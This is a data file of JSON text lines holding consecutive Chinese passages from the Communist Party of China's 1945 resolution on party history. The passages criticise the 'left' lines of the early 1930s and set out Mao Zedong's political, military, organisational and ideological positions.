    {"text": "它并从“左”的观点污蔑中国当时还没有“真正的”红军和工农兵代表会议政府，特别强调地宣称当时党内的主要危险是所谓“右倾机会主义”、“实际工作中的机会主义”和“富农路线”。 在组织上，这条新的“左”倾路线的代表者们违反组织纪律，拒绝党所分配的工作，错误地结合一部分同志进行反中央的宗派活动，错误地在党员中号召成立临时的中央领导机关，要求以“积极拥护和执行”这一路线的“斗争干部”“来改造和充实各级的领导机关”等，因而造成了当时党内的严重危机。 这样，虽然新的“左”倾路线并没有主张在中心城市组织起义，在一个时期内也没有主张集中红军进攻中心城市，但是整个地说来，它却比立三路线的“左”倾更坚决，更“有理论”，气焰更盛，形态也更完备了。"},
    {"text": "一九三一年一月，党在这些以陈绍禹同志为首的“左”的教条主义宗派主义分子从各方面进行压迫的情势之下，也在当时中央一部分犯经验主义错误的同志对于他们实行妥协和支持的情势之下，召开了六届四中全会。"},
    {"text": "这次会议的召开没有任何积极的建设的作用，其结果就是接受了新的“左”倾路线，使它在中央领导机关内取得胜利，而开始了土地革命战争时期“左”倾路线对党的第三次统治。"},
    {"text": "六届四中全会直接实现了新的“左”倾路线的两项互相联系的错误纲领：反对所谓“目前党内主要危险”的“右倾”，和“改造充实各级领导机关”。 尽管六届四中全会在形式上还是打着反立三路线、反“调和路线”的旗帜，它的主要政治纲领实质上却是“反右倾”。 六届四中全会虽然在它自己的决议上没有作出关于当时政治形势的分析和党的具体政治任务的规定，而只是笼统地反对所谓“右倾”和所谓“实际工作中的机会主义”；"},
    {"text": "但是在实际上，它是批准了那个代表着当时党内“左”倾思想，即在当时及其以后十多年内还继续被人们认为起过“正确的”“纲领作用”的陈绍禹同志的小册子——《两条路线》即《为中共更加布尔什维克化而斗争》；"},
    {"text": "在这个纲领下面，六届四中全会及其后的中央，一方面提拔了那些“左”的教条主义和宗派主义的同志到中央的领导地位，另一方面过分地打击了犯立三路线错误的同志，错误地打击了以瞿秋白 〔6〕 同志为首的所谓犯“调和路线错误”的同志，并在六届四中全会后接着就错误地打击了当时所谓“右派”中的绝大多数同志。"},
    {"text": "这些人中间也有后来成为真正右派并堕落为反革命而被永远驱逐出党的以罗章龙为首的极少数的分裂主义者，对于他们，无疑地是应该坚决反对的；"},
    {"text": "至于林育南 〔7〕 、李求实 〔8〕 、何孟雄 〔9〕 等二十几个党的重要干部，他们为党和人民做过很多有益的工作，同群众有很好的联系，并且接着不久就被敌人逮捕，在敌人面前坚强不屈，慷慨就义。"},
    {"text": "所谓犯“调和路线错误”的瞿秋白同志，是当时党内有威信的领导者之一，他在被打击以后仍继续做了许多有益的工作（主要是在文化方面），在一九三五年六月也英勇地牺牲在敌人的屠刀之下。"},
    {"text": "六届四中全会以后的中央，比六届三中全会及其以后的中央更着重地更有系统地向全国各地派遣中央代表、中央代表机关或新的领导干部，以此来贯彻其“反右倾”的斗争。 在六届四中全会以后不久，一九三一年五月九日中央所发表的决议，表示新的“左”倾路线已经在实际工作中得到了具体的运用和发展。"},
    {"text": "江西中央区红军在毛泽东同志的正确领导和全体同志的积极努力之下，在六届四中全会后的中央还没有来得及贯彻其错误路线的情况之下，取得了粉碎敌人第二次和第三次“围剿”的巨大胜利；"},
    {"text": "它过分地夸大了当时国民党统治的危机和革命力量的发展，忽视了“九一八”以后中日民族矛盾的上升和中间阶级的抗日民主要求，强调了日本帝国主义和其他帝国主义是要一致地进攻苏联的，各帝国主义和中国各反革命派别甚至中间派别是要一致地进攻中国革命的，并断定中间派别是所谓中国革命的最危险的敌人。"},
    {"text": "这些错误，最先表现于一九三一年九月二十日中央的《由于工农红军冲破敌人第三次“围剿”及革命危机逐渐成熟而产生的紧急任务决议》，并在后来临时中央的或在临时中央领导下作出的《关于日本帝国主义强占满洲事变的决议》（一九三一年九月二十二日）、《关于争取革命在一省与数省首先胜利的决议》（一九三二年一月九日）、《关于一二八事变的决议》（一九三二年二月二十六日）、《在争取中国革命在一省数省的首先胜利中中国共产党内机会主义的动摇》（一九三二年四月四日）、《中央区中央局关于领导和参加反对帝国主义进攻苏联瓜分中国与扩大民族革命战争运动周的决议》（一九三二年五月十一日）、《革命危机的增长与北方党的任务》（一九三二年六月二十四日）等文件中得到了继续和发挥。 自一九三一年九月间以秦邦宪（博古） 〔10〕 同志为首的临时中央成立起，到一九三五年一月遵义会议止，是第三次“左”倾路线的继续发展的时期。 其间，临时中央因为白区工作在错误路线的领导下遭受严重损失，在一九三三年初迁入江西南部根据地，更使他们的错误路线得以在中央所在的根据地和邻近各根据地进一步地贯彻执行。 在这以前，一九三一年十一月的江西南部根据地党代表大会 〔11〕 和一九三二年十月中央区中央局的宁都会议，虽然已经根据六届四中全会的“反右倾”和“改造各级领导机关”的错误纲领，污蔑过去江西南部和福建西部根据地的正确路线为“富农路线”和“极严重的一贯的右倾机会主义错误”，并改变了正确的党的领导和军事领导；"},
    {"text": "但是因为毛泽东同志的正确战略方针在红军中有深刻影响，在临时中央的错误路线尚未完全贯彻到红军中去以前，一九三三年春的第四次反“围剿”战争仍然得到了胜利。"},
    {"text": "六届五中全会不顾“左”倾路线所造成的中国革命运动的挫折和“九一八”“一二八”以来国民党统治区人民抗日民主运动的挫折，盲目地判断“中国的革命危机已到了新的尖锐的阶段——直接革命形势在中国存在着”；"},
    {"text": "判断第五次反“围剿”的斗争“即是争取中国革命完全胜利的斗争”，说这一斗争将决定中国的“革命道路与殖民地道路之间谁战胜谁的问题”。"},
    {"text": "它又重复立三路线的观点，宣称“在我们已将工农民主革命推广到中国重要部分的时候，实行社会主义革命将成为共产党的基本任务，只有在这个基础上，中国才会统一，中国民众才会完成民族的解放”等等。"},
    {"text": "在反对“主要危险的右倾机会主义”、“反对对右倾机会主义的调和态度”和反对“用两面派的态度在实际工作中对党的路线怠工”等口号之下，它继续发展了宗派主义的过火斗争和打击政策。"},
    {"text": "第三次“左”倾路线在革命根据地的最大恶果，就是中央所在地区第五次反“围剿”战争的失败和红军主力的退出中央所在地区。 “左”倾路线在退出江西和长征的军事行动中又犯了逃跑主义的错误，使红军继续受到损失。 党在其他绝大多数革命根据地（闽浙赣区、鄂豫皖区、湘鄂赣区、湘赣区、湘鄂西区、川陕区）和广大白区的工作，也同样由于“左”倾路线的统治而陷于失败。 统治过鄂豫皖区和川陕区的张国焘路线，则除了一般的“左”倾路线之外，还表现为特别严重的军阀主义和在敌人进攻面前的逃跑主义。"},
    {"text": "以上这些，就是第三次统治全党的、以教条主义分子陈绍禹秦邦宪二同志为首的、错误的“左”倾路线的主要内容。 犯教条主义错误的同志们披着“马列主义理论”的外衣，仗着六届四中全会所造成的政治声势和组织声势，使第三次“左”倾路线在党内统治四年之久，使它在思想上、政治上、军事上、组织上表现得最为充分和完整，在全党影响最深，因而其危害也最大。 但是犯这个路线错误的同志，在很长时期内，却在所谓“中共更加布尔什维克化”、“百分之百的布尔什维克”等武断词句下，竭力吹嘘同事实相反的六届四中全会以来中央领导路线之“正确性”及其所谓“不朽的成绩”，完全歪曲了党的历史。 在第三次“左”倾路线时期中，以毛泽东同志为代表的主张正确路线的同志们，是同这条“左”倾路线完全对立的。 他们不赞成并要求纠正这条“左”倾路线，因而他们在各地的正确领导，也就被六届四中全会以来的中央及其所派去的组织或人员所推翻了。 但是“左”倾路线在实际工作中的不断碰壁，尤其是中央所在地区第五次反“围剿”中的不断失败，开始在更多的领导干部和党员群众面前暴露了这一路线的错误，引起了他们的怀疑和不满。 在中央所在地区红军长征开始后，这种怀疑和不满更加增长，以至有些曾经犯过“左”倾错误的同志，这时也开始觉悟，站在反对“左”倾错误的立场上来了。 于是广大的反对“左”倾路线的干部和党员，都在毛泽东同志的领导下团结起来，因而在一九三五年一月，在毛泽东同志所领导的在贵州省遵义城召开的扩大的中央政治局会议上，得以胜利地结束了“左”倾路线在党中央的统治，在最危急的关头挽救了党。"},
    {"text": "也正是由于这一转变，我们党才能够胜利地结束了长征，在长征的极端艰险的条件下保存了并锻炼了党和红军的基干，胜利地克服了坚持退却逃跑并实行成立第二党的张国焘路线，挽救了“左”倾路线所造成的陕北革命根据地的危机 〔12〕 ，正确地领导了一九三五年的“一二九”救亡运动 〔13〕 ，正确地解决了一九三六年的西安事变 〔14〕 ，组织了抗日民族统一战线，推动了神圣的抗日战争的爆发。"},
    {"text": "一九四二年以来，毛泽东同志所领导的全党反对主观主义、宗派主义、党八股的整风运动和党史学习，更从思想根源上纠正了党的历史上历次“左”倾以及右倾的错误。 过去犯过“左”、右倾错误的同志，在长期体验中，绝大多数都有了很大的进步，做过了许多有益于党和人民的工作。"},
    {"text": "扩大的六届七中全会欣幸地指出：我党经过了自己的各种成功和挫折，终于在毛泽东同志领导下，在思想上、政治上、组织上、军事上，第一次达到了现在这样高度的巩固和统一。"},
    {"text": "（四） 为了使同志们进一步了解各次尤其是第三次“左”倾路线的错误，以利于“惩前毖后”，不在今后工作上重犯这类错误起见，特分别指出它们在政治上、军事上、组织上、思想上同正确路线相违抗的主要内容如下。"},
    {"text": "（一）在政治上： 如同斯大林同志所指出 〔15〕 和毛泽东同志所详细分析过的，现阶段的中国，是一个半殖民地半封建的国家（“九一八”以后部分地变为殖民地）； 这个国家的革命，在第一次世界大战之后，是国际无产阶级已在苏联胜利，中国无产阶级已有政治觉悟时代的民族民主革命。 这就规定了中国现阶段革命的性质，是无产阶级领导的、以工人农民为主体而有其他广大社会阶层参加的、反帝反封建的革命，即是既区别于旧民主主义又区别于社会主义的新民主主义的革命。 由于现阶段的中国是在强大而又内部互相矛盾的几个帝国主义国家和中国封建势力统治之下的半殖民地半封建的大国，其经济和政治的发展具有极大的不平衡性和不统一性，这就规定了中国新民主主义革命的发展之极大的不平衡性，使革命在全国的胜利不能不经历长期的曲折的斗争；"},
    {"text": "为中国革命实践所证明的中国革命的上述基本特点和基本规律，既为一切右倾路线所不了解和违抗，也为各次尤其是第三次“左”倾路线所不了解和违抗。"},
    {"text": "和斯大林同志一样，毛泽东同志还在第一次大革命时期，就不但指出中国现阶段革命的任务是反帝反封建，而且特别指出农民的土地斗争是中国反帝反封建的基本内容，中国的资产阶级民主革命实质上就是农民革命，因此对于农民斗争的领导是中国无产阶级在资产阶级民主革命中的基本任务 〔16〕 。 在土地革命战争初期，他又指出中国所需要的仍是资产阶级民主革命，“必定要经过这样的民权主义革命”，才谈得上社会主义的前途 〔17〕 ； 指出土地革命因为革命在城市的失败有了更大的意义，“半殖民地中国的革命，只有农民斗争得不到工人的领导而失败，没有农民斗争的发展超过工人的势力而不利于革命本身的” 〔18〕 ； 指出大资产阶级叛变革命之后，自由资产阶级仍然和买办资产阶级有区别，要求民主尤其是要求反帝国主义的阶层还是很广泛的，因此必须正确地对待和尽可能地联合或中立各种不同的中间阶级，而在乡村中则必须正确地对待中农和富农（“抽多补少，抽肥补瘦”，同时坚决地团结中农，保护富裕中农，给富农以经济的出路，也给一般地主以生活的出路） 〔19〕 。"},
    {"text": "虽然各次“左”倾路线所规定的革命任务，许多也还是民主主义的，但是它们都混淆了民主革命和社会主义革命的一定界限，并主观地急于要超过民主革命；"},
    {"text": "特别是九一八事变发生以后，中国阶级关系有了一个明显的巨大的变化，但是当时的第三次“左”倾路线则不但不认识这个变化，反而把同国民党反动统治有矛盾而在当时积极活动起来的中间派别断定为所谓“最危险的敌人”。"},
    {"text": "但是由于上述的“左”倾认识，他们就错误地害怕承认当时的红军运动是无产阶级领导的农民运动，错误地反对所谓“农民特殊革命性”、“农民的资本主义”和所谓“富农路线”，而实行了许多超民主主义的所谓“阶级路线”的政策，例如消灭富农经济及其他过左的经济政策、劳动政策，一切剥削者均无参政权的政权政策，强调以共产主义为内容的国民教育政策，对知识分子的过左政策，要兵不要官的兵运工作和过左的肃反政策等，而使当前的革命任务被歪曲，使革命势力被孤立，使红军运动受挫折。 同样，应当指出，我党在一九二七年革命失败后的国民党统治区中，一贯坚持地领导了人民的民族民主运动，领导了工人及其他群众的经济斗争和革命的文化运动，反对了当时国民党政府出卖民族利益和压迫人民的政策； 特别是“九一八”以后，我党领导了东北抗日联军，援助了“一二八”战争和察北抗日同盟军，和福建人民政府成立了抗日民主的同盟，提出了在三个条件下红军愿同国民党军队联合抗日 〔20〕 ，在六个条件下愿同各界人民建立民族武装自卫委员会 〔21〕 ，在一九三五年八月一日发表了《为抗日救国告全体同胞书》，号召成立国防政府和抗日联军等，这些也都是正确的。 但是在各次尤其是第三次“左”倾路线统治时期，由于指导政策的错误，不能在实际上正确地解决问题，以致当时党在国民党统治区的工作也都没有得到应有的结果，或归于失败。 当然，在抗日问题上，在当时还不能预料到代表中国大地主大资产阶级主要部分的国民党主要统治集团在一九三五年的华北事变 〔22〕 尤其是一九三六年的西安事变以后所起的变化，但是中间阶层和一部分大地主大资产阶级的地方集团已经发生了成为抗日同盟者的变化，这个变化是广大党员和人民都已经认识了的，却被第三次“左”倾路线所忽视或否认，形成了自己的严重的关门主义，使自己远落于中国人民的政治生活之后。"},
    {"text": "” 〔23〕 和斯大林同志一样，毛泽东同志在土地革命战争初期即已正确指出，由于半殖民地半封建的中国，是缺乏民主和工业的不统一的大国，武装斗争和以农民为主体的军队，是中国革命的主要斗争形式和组织形式。 毛泽东同志又指出：广大农民所在的广大乡村，是中国革命必不可少的重要阵地（革命的乡村可以包围城市，而革命的城市不能脱离乡村）；"},
    {"text": "在一九二四年至一九二七年革命时期，由于国共合作建立了联合政府，当时的根据地是以某些大城市为中心的，但是即在那个时期，也必须在无产阶级领导下建立以农民为主体的人民军队，并解决乡村土地问题，以巩固根据地的基础。 而在土地革命战争时期，由于强大的反革命势力占据了全国的城市，这时的根据地就只能主要地依靠农民游击战争（而不是阵地战），在反革命统治薄弱的乡村（而不是中心城市）首先建立、发展和巩固起来。 毛泽东同志指出这种武装的乡村革命根据地在中国存在的历史条件，是中国的“地方的农业经济（不是统一的资本主义经济）和帝国主义划分势力范围的分裂剥削政策”，是由此而来的“白色政权间的长期的分裂和战争” 〔25〕 。"},
    {"text": "至于这个时期的城市群众工作，则应如正确路线在白区工作中的代表刘少奇同志所主张的，采取以防御为主（不是以进攻为主），尽量利用合法的机会去工作（而不是拒绝利用合法），以便使党的组织深入群众，长期荫蔽，积蓄力量，并随时输送自己的力量到乡村去发展乡村武装斗争力量，借此以配合乡村斗争，推进革命形势，为其主要方针。"},
    {"text": "革命在乡村的胜利和在城市的暂时不能胜利，在乡村的进攻和在城市的一般处于防御，以至在这一乡村的胜利及进攻和在另一乡村的失败、退却和防御，就织成了在这一时期中全国的革命和反革命相交错的图画，也就铺成了在这一形势下革命由失败到胜利的必经道路。 但是各次“左”倾路线的代表者，因为不了解半殖民地半封建的中国社会的特点，不了解中国资产阶级民主革命实质上是农民革命，不了解中国革命的不平衡性、曲折性和长期性，就从而低估了军事斗争特别是农民游击战争和乡村根据地的重要性，就从而反对所谓“枪杆子主义”和所谓“农民意识的地方观念与保守观念”，而总是梦想这时城市的工人斗争和其他群众斗争能突然冲破敌人的高压而勃兴，而发动中心城市的武装起义，而达到所谓“一省数省的首先胜利”，而形成所谓全国革命高潮和全国胜利，并以这种梦想作为一切工作布置的中心。"},
    {"text": "这样不以当时的城市工作服从乡村工作，而以当时的乡村工作服从城市工作的结果，就是使城市工作失败以后，乡村工作的绝大部分也遭到失败。"},
    {"text": "应当指出，在一九三二年以后，由于红军对中心城市的不能攻克或不能固守，特别是由于国民党的大举进攻，实际上已经停止了夺取中心城市的行动；"},
    {"text": "但是这种转变，对于当时的“左”倾路线的同志们说来，不是自觉的，不是从研究中国革命特点得出正确结论的结果，因此，他们依然是以他们错误的城市观点，来指导红军和根据地的各项工作，并使这些工作受到破坏。"},
    {"text": "只有在现时，在抗日战争的最后阶段，在我党领导的军队已经壮大，并还将更加壮大的时候，将敌占区的城市工作提到和解放区工作并重的地位，积极地准备一切条件，以便里应外合地从中心城市消灭日本侵略者，然后把工作重心转到这些城市去，才是正确的。"},
    {"text": "全党同志都应充分自觉地准备这一转变，而不再重复“左”倾路线在土地革命战争时期由城市转入乡村问题上所表现的初则反对、违抗，继则勉强、被迫和不自觉的那种错误。"},
    {"text": "在那里，我们现时的任务是无论在乡村或城市，都应放手动员群众，坚决反对内战分裂，力争和平团结，要求加强对日作战，废止国民党一党专政，成立全国统一的民主的联合政府。"},
    {"text": "正确的策略指导，必须如斯大林同志所指出的，需要正确的形势分析（正确地估计阶级力量的对比，判断运动的来潮和退潮），需要由此而来的正确的斗争形式和组织形式，需要正确的“利用敌人阵营里的每一缝隙，善于给自己找寻同盟者” 〔27〕 ；"},
    {"text": "但在反动政权内部不断分裂和战争，人民革命要求逐渐恢复和上升的一般条件下，和在群众经过第一次大革命斗争，并有相当力量的红军和有正确政策的共产党的特殊条件下，就可以“在四围白色政权的包围中间，产生一小块或若干小块的红色政权区域” 〔28〕 。"},
    {"text": "这时在军事上最忌分兵冒进，在地方工作方面（分配土地，建立政权，发展党，组织地方武装）最忌把人力分得四散，而不注意建立中心区域的坚实基础” 〔29〕 。"},
    {"text": "即在同一时期，由于敌人的强弱不同，我们的策略也应当不同，所以湘赣边的割据地区就“对统治势力比较强大的湖南取守势，对统治势力比较薄弱的江西取攻势” 〔30〕 。"},
    {"text": "所以毛泽东同志始终主张“利用反革命内部的每一冲突，从积极方面扩大他们内部的裂痕” 〔32〕 ，“反对孤立政策，承认争取一切可能的同盟者” 〔33〕 。"},
    {"text": "这些“利用矛盾，争取多数，反对少数，各个击破” 〔34〕 的策略原则的运用，在他所领导的历次反“围剿”战争中，尤其在遵义会议后的长征和抗日民族统一战线工作中，得到了光辉的发展。"},
    {"text": "刘少奇同志正确地估计到一九二七年革命失败后白区特别是城市敌我力量的悬殊，所以主张有系统地组织退却和防御，“在形势与条件不利于我们的时候，暂时避免和敌人决斗”，以“准备将来革命的进攻和决斗” 〔35〕 ；"},
    {"text": "主张有计划地把一九二四年至一九二七年革命时期的党的公开组织严格地转变为秘密组织，而在群众工作中则“尽可能利用公开合法手段”，以便党的秘密组织能够在这种群众工作中长期地荫蔽力量，深入群众，“聚积与加强群众的力量，提高群众的觉悟” 〔36〕 。"},
    {"text": "对于群众斗争的领导，刘少奇同志认为应当“根据当时当地的环境和条件，根据群众觉悟的程度，提出群众可能接受的部分的口号、要求和斗争的方式，去发动群众的斗争，并根据斗争过程中各种条件的变化，把群众的斗争逐渐提高到更高的阶段，或者‘适可而止’地暂时结束战斗，以准备下一次更高阶段和更大范围的战斗”。"},
    {"text": "在利用敌人内部矛盾和争取暂时的同盟者的问题上，他认为应该“推动这些矛盾的爆发，与敌人营垒中可能和我们合作的成分，或者与今天还不是我们主要的敌人，建立暂时的联盟，去反对主要的敌人”；"},
    {"text": "和这种正确的策略指导相反，各次“左”倾路线的同志们因为不知道客观地考察敌我力量的对比，不知道采取与此相当的斗争形式和组织形式，不承认或不重视敌人内部的矛盾，这样，他们在应当防御的时候，固然因为盲目地实行所谓“进攻路线”而失败，就在真正应当进攻的时候，也因为不会组织胜利的进攻而失败。 他们“估计形势”的方法，是把对他们的观点有利的某些个别的、萌芽的、间接的、片面的和表面的现象，夸大为大量的、严重的、直接的、全面的和本质的东西，而对于不合他们的观点的一切实际（如敌人的强大和暂时胜利，我们的弱小和暂时失败，群众的觉悟不足，敌人的内部矛盾，中间派的进步方面等），则害怕承认，或熟视无睹。"},
    {"text": "第三次“左”倾路线的代表者们甚至认为红军对于超过自己许多倍的整个的国民党军队还占优势，因此总是要求红军作无条件的甚至不休息的冒进。"},
    {"text": "第三次“左”倾路线的代表者们否认一九二四年至一九二七年革命所造成的南方和北方革命发展的不平衡（这种情况只是到了抗日战争期间才起了一个相反的变化），错误地反对所谓“北方落后论”，要求在北方乡村中普遍地建立红色政权，在北方白色军队中普遍地组织哗变成立红军。"},
    {"text": "在白区工作方面，他们在革命已转入低潮而反革命的统治力量极为强大的城市，拒绝实行必要的退却和防御的步骤，拒绝利用一切合法的可能，而继续采取为当时情况所不允许的进攻的形式，组织庞大的没有掩护的党的机关和各种脱离广大群众的第二党式的所谓赤色群众团体，经常地无条件地号召和组织政治罢工、同盟罢工、罢课、罢市、罢操、罢岗、游行示威、飞行集会以至武装暴动等不易或不能得到群众参加和支持的行动，并曲解这一切行动的失败为“胜利”。"},
    {"text": "总之，各次尤其是第三次“左”倾路线的同志们只知道关门主义和冒险主义，盲目地认为“斗争高于一切，一切为了斗争”，“不断地扩大和提高斗争”，因而不断地陷于不应有的和本可避免的失败。"},
    {"text": "毛泽东同志不但运用马克思列宁主义规定了中国革命的正确的政治路线，而且从土地革命战争时期以来，也运用马克思列宁主义规定了服从于这一政治路线的正确的军事路线。 毛泽东同志的军事路线从两个基本观点出发：第一，我们的军队不是也不能是其他样式的军队，它必须是服从于无产阶级思想领导的、服务于人民斗争和根据地建设的工具； 第二，我们的战争不是也不能是其他样式的战争，它必须在承认敌强我弱、敌大我小的条件下，充分地利用敌之劣点与我之优点，充分地依靠人民群众的力量，以求得生存、胜利和发展。 从第一个观点出发，红军（现在是八路军、新四军及其他人民军队）必须全心全意地为着党的路线、纲领和政策，也就是为着全国人民的各方面利益而奋斗，反对一切与此相反的军阀主义倾向。"},
    {"text": "红军必须同时负起打仗、做群众工作和筹款（现在是生产）的三位一体的任务，而所谓做群众工作，就是要成为党和人民政权的宣传者和组织者，就是要帮助地方人民群众分配土地（现在是减租减息），建立武装，建立政权以至建立党的组织。 因此，红军在军政关系和军民关系上，必须要求严格地尊重人民的政权机关和群众团体，巩固它们的威信，严格地执行“三大纪律”“八项注意” 〔39〕 ； 在军队的内部，必须建立正确的官兵关系，必须要有一定的民主生活和有威权的以自觉为基础的军事纪律；"},
    {"text": "从第二个观点出发，红军必须承认游击战和带游击性的运动战是土地革命战争时期的主要战争形式，承认只有主力兵团和地方兵团相结合，正规军和游击队、民兵相结合，武装群众和非武装群众相结合的人民战争，才能够战胜比自己强大许多倍的敌人。"},
    {"text": "在抗日战争的战略退却和战略相持阶段中，因为敌我强弱相差更甚，八路军和新四军的正确方针是：“基本的是游击战，但不放松有利条件下的运动战。"},
    {"text": "但在将要到来的战略反攻阶段，正如全党的工作重心需要由乡村转到城市一样，在我军获得新式装备的条件下，战略上也需要由以游击战为主变为以运动战和阵地战为主。"},
    {"text": "（三）在组织上： 如毛泽东同志所说，正确的政治路线应该是“从群众中来，到群众中去”。 而为使这个路线真正从群众中来，特别是真正能到群众中去，就不但需要党和党外群众（阶级和人民）有密切的联系，而且首先需要党的领导机关和党内群众（干部和党员）有密切的联系，也就是说，需要正确的组织路线。 因此，毛泽东同志在党的各个时期既然规定了代表人民群众利益的政治路线，同时也就规定了服务于这一政治路线的联系党内党外群众的组织路线。"},
    {"text": "这个决议，一方面把党的建设提到了思想原则和政治原则的高度，坚持无产阶级思想的领导，正确地进行了反对单纯军事观点、主观主义、个人主义、平均主义、流寇思想、盲动主义等倾向的斗争，指出了这些倾向的根源、危害和纠正的办法；"},
    {"text": "毛泽东同志又从全党团结的利益出发，坚持局部服从全体，并根据中国革命的具体特点，规定了新干部和老干部、外来干部和本地干部、军队干部和地方干部、以及不同部门、不同地区的干部间的正确关系。"},
    {"text": "这样，毛泽东同志就供给了一个坚持真理的原则性和服从组织的纪律性相结合的模范，供给了一个正确地进行党内斗争和正确地保持党内团结的模范。"},
    {"text": "与此相反，在一切错误政治路线统治的同时，也就必然出现了错误的组织路线； 这条错误的政治路线统治得愈久，则其错误的组织路线的为害也愈烈。"},
    {"text": "不但形成了脱离党外群众的宗派主义（不把党当作人民群众利益的代表者和人民群众意志的集中者），也形成了脱离党内群众的宗派主义（不使党内一部分人的局部利益服从全党利益，不把党的领导机关当作全党意志的集中者）。"},
    {"text": "尤其是第三次“左”倾路线的代表者，为贯彻其意旨起见，在党内曾经把一切因为错误路线行不通而对它采取怀疑、不同意、不满意、不积极拥护、不坚决执行的同志，不问其情况如何，一律错误地戴上“右倾机会主义”、“富农路线”、“罗明路线”、“调和路线”、“两面派”等大帽子，而加以“残酷斗争”和“无情打击”，甚至以对罪犯和敌人作斗争的方式来进行这种“党内斗争”。"},
    {"text": "它破坏了党内民主集中制的基本原则，取消了党内批评和自我批评的民主精神，使党内纪律成为机械的纪律，发展了党内盲目服从随声附和的倾向，因而使党内新鲜活泼的、创造的马克思主义之发展，受到打击和阻挠。"},
    {"text": "宗派主义者不把老干部看作党的宝贵的资本，大批地打击、处罚和撤换中央和地方一切同他们气味不相投的、不愿盲目服从随声附和的、有工作经验并联系群众的老干部。 他们也不给新干部以正确的教育，不严肃地对待提拔新干部（特别是工人干部）的工作，而是轻率地提拔一切同他们气味相投的、只知盲目服从随声附和的、缺乏工作经验、不联系群众的新干部和外来干部，来代替中央和地方的老干部。"},
    {"text": "很多地区，更由于错误的肃反政策和干部政策中的宗派主义纠缠在一起，使大批优秀的同志受到了错误的处理而被诬害，造成了党内极可痛心的损失。"},
    {"text": "（四）在思想上： 一切政治路线、军事路线和组织路线之正确或错误，其思想根源都在于它们是否从马克思列宁主义的辩证唯物论和历史唯物论出发，是否从中国革命的客观实际和中国人民的客观需要出发。 毛泽东同志从他进入中国革命事业的第一天起，就着重于应用马克思列宁主义的普遍真理以从事于对中国社会实际情况的调查研究，在土地革命战争时期，尤其再三再四地强调了“没有调查就没有发言权”的真理，再三再四地反对了教条主义和主观主义的危害。 毛泽东同志在土地革命战争时期所规定的政治路线、军事路线和组织路线，正是他根据马克思列宁主义的普遍真理，根据辩证唯物论和历史唯物论，具体地分析了当时国内外党内外的现实情况及其特点，并具体地总结了中国革命的历史经验，特别是一九二四年至一九二七年革命的历史经验的光辉的成果。 在中国生活和奋斗的中国共产党人学习辩证唯物论和历史唯物论，应该是为了用以研究和解决中国革命的各种实际问题，如同毛泽东同志所做的。"},
    {"text": "但是一切犯“左”倾错误的同志们，在那时，当然是不能了解和接受毛泽东同志的做法的，第三次“左”倾路线的代表者更污蔑他是“狭隘经验主义者”；"},
    {"text": "它不是根据马克思列宁主义的立场和方法来认真研究中国的政治、军事、经济、文化的过去和现在，认真研究中国革命的实际经验，得出结论，作为中国革命的行动指南，再在群众的实践中去考验这些结论是否正确； 相反地，它抛弃了马克思列宁主义的实质，而把马克思列宁主义书本上的若干个别词句搬运到中国来当做教条，毫不研究这些词句是否合乎中国现时的实际情况。"},
    {"text": "因此，他们的“理论”和实际脱离，他们的领导和群众脱离，他们不是实事求是，而是自以为是，他们自高自大，夸夸其谈，害怕正确的批评和自我批评，就是必然的了。"},
    {"text": "但是，在一切有实际工作经验的同志中，如果有一些人满足于甚至仅仅满足于他们的局部经验，把它们当做到处可以使用的教条，不懂得而且不愿意承认“没有革命的理论，就不会有革命的运动” 〔45〕 和“为着领导，必须预见” 〔46〕 的真理，因而轻视从世界革命经验总结出来的马克思列宁主义的学习，并醉心于狭隘的无原则的所谓实际主义和无头脑无前途的事务主义，却坐在指挥台上，盲目地称英雄，摆老资格，不肯倾听同志们的批评和发展自我批评，这样，他们就成为经验主义者了。"},
    {"text": "因此，他们对于中国社会和中国革命，就有了许多共同的错误的认识（如错误的城市中心观点，白区工作中心观点，脱离实际情况的“正规”战观点等）。"},
    {"text": "虽然因为经验主义者的经验是局部的、狭隘的，他们中的多数对于全面性的问题往往缺乏独立的明确的完整的意见，因此，他们在和教条主义者相结合时，一般地是作为后者的附庸而出现；"},
    {"text": "但是党的历史证明，教条主义者缺乏经验主义者的合作就不易“流毒全党”，而在教条主义被战胜以后，经验主义更成为党内的马克思列宁主义发展的主要障碍。"},
    {"text": "而一切政治上、军事上和组织上的错误，都是从思想上违背马克思列宁主义的辩证唯物论和历史唯物论而来，都是从主观主义和形式主义、教条主义和经验主义而来。"},
    {"text": "扩大的六届七中全会指出：我们在否定各次“左”倾路线的错误时，同时要牢记和实行毛泽东同志“对于任何问题应取分析态度，不要否定一切” 〔47〕 的指示。"},
    {"text": "应当指出：犯了这些错误的同志们的观点中，并不是一切都错了，他们在反帝反封建、土地革命、反蒋战争等问题上的若干观点，同主张正确路线的同志们仍然是一致的。"},
    {"text": "还应指出，第三次“左”倾路线统治时间特别长久，所给党和革命的损失特别重大，但是这个时期的党，因为有广大的干部、党员群众和广大的军民群众在一起，进行了积极的工作和英勇的斗争，因而在许多地区和许多部门的实际工作中，仍然获得了很大的成绩（例如在战争中，在军事建设中，在战争动员中，在政权建设中，在白区工作中）。"},
    {"text": "在各次错误路线统治时期，和党的任何其他历史时期一样，一切为人民利益而壮烈地牺牲了的党内党外的领袖、领导者、干部、党员和人民群众，都将永远被党和人民所崇敬。"},
    {"text": "而且在党内，由于十月革命以来马克思列宁主义在世界的伟大胜利，由于中国现时的社会政治情况，特别是国共两党的历史发展，决定了中国不能有强大的小资产阶级政党，因此就有大批的小资产阶级革命民主分子向无产阶级队伍寻求出路，使党内小资产阶级出身的分子也占了大多数。"},
    {"text": "党外的小资产阶级群众，除了农民是中国资产阶级民主革命的主要力量以外，城市小资产阶级大多数群众在中国也受着重重压迫，经常迅速大量地陷于贫困破产和失业的境地，其经济和政治的民主要求十分迫切，所以在现阶段的革命中，城市小资产阶级也是革命动力之一。 但是小资产阶级由于是一个过渡的阶级，它是有两面性的：就其好的、革命的一面说来，是其大多数群众在政治上、组织上以至思想上能够接受无产阶级的影响，在目前要求民主革命，并能为此而团结奋斗，在将来也可能和无产阶级共同走向社会主义；"},
    {"text": "而就其坏的、落后的一面说来，则不但有其各种区别于无产阶级的弱点，而且在失去无产阶级的领导时，还往往转而接受自由资产阶级以至大资产阶级的影响，成为他们的俘虏。"},
    {"text": "因此，在现阶段上，无产阶级及其先进部队——中国共产党，对于党外的小资产阶级群众，应该在坚决地广泛地联合他们的基础上，一方面给以宽大的待遇，在不妨碍对敌斗争和共同的社会生活的条件下，容许其自由主义的思想和作风的存在；"},
